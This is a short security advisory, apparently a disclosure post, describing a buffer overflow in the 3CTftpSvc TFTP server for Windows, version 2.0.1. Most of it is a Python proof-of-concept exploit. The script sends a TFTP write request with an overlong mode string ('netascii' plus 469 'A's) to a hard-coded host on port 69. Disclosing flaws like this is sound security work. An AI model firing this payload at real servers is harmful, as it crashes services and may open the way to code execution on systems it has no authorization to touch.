TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode)
SUMMARY:
3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://support.3com.com/software/utilities_for_windows_32_bit.htm
or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)
It provides an implementation of the TFTPv2 protocol.
DETAILS:
Vulnerable systems: 3CTftpSvc TFTP Server 2.0.1 and probable prior
Exploit:
#!/usr/bin/python
import socket
import sys
host = '192.168.1.11'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))
Liu Qixu
NCNIPC